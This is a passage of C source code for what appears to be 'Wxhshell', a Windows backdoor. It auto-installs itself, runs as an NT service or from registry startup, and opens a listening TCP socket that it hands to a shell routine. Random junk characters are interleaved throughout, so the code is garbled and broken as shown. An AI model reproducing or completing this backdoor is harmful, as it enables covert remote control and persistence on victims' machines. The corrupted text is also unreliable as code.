:S?'6lOc( unsigned long cbNeeded; bxEb2D 4$ejJaE if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4z[Z3|_V UHweV:(|T CloseHandle(hProcess); )Q(tryiSi Z]oa+W+ if(strstr(procName,"services")) return 1; // 以服务启动 --.: eFE/ Wu:vO2aw8 return 0; // 注册表启动 jlzqa7 } U*v//@WbH WynHcxC // 主模块 %E~4 Ur int StartWxhshell(LPSTR lpCmdLine) 0XL
x@FYn { N$?mula SOCKET wsl; -4Y}Y59\ BOOL val=TRUE; -twIF49 int port=0; fd*=`+P struct sockaddr_in door; yq\)8Fe yIqsZJj if(wscfg.ws_autoins) Install(); ]#))#-&1 6"eGd" port=atoi(lpCmdLine); ~F>oNbJIv 6+m) if(port<=0) port=wscfg.ws_port; pg*'2AT 0>VgO{X WSADATA data; 9v<BO$
,a if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :
bT*cgD{ pShSKRg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; +6uun setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IS]0 3_uQ door.sin_family = AF_INET; ,LWM}L door.sin_addr.s_addr = inet_addr("127.0.0.1"); F)5QpDmqb
door.sin_port = htons(port); x-CYG?-x 2P@>H_JFF if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^fXNeBj closesocket(wsl); v?n`kw return 1; (Qq! u } (al7/EhY 9BNAj-Xa if(listen(wsl,2) == INVALID_SOCKET) { ^ yH|k@y closesocket(wsl); VXR.2C return 1; p5c'gziR } = ?vk n Wxhshell(wsl); Mwp#.du( WSACleanup(); 1S0Hc5vw ^7F!>!9Ca return 0; dq"b_pr; Q gDjc' } _Vj O
[hx q,$UKg#i // 以NT服务方式启动 JR'Q Th:z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _6^ vxlF { n*@^c$&P DWORD status = 0; S)@R4{=e"V DWORD specificError = 0xfffffff; 8y~
Jn~t TBrAYEk
serviceStatus.dwServiceType = SERVICE_WIN32; 7+#^:;19` serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q*( ]&qr"E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; & |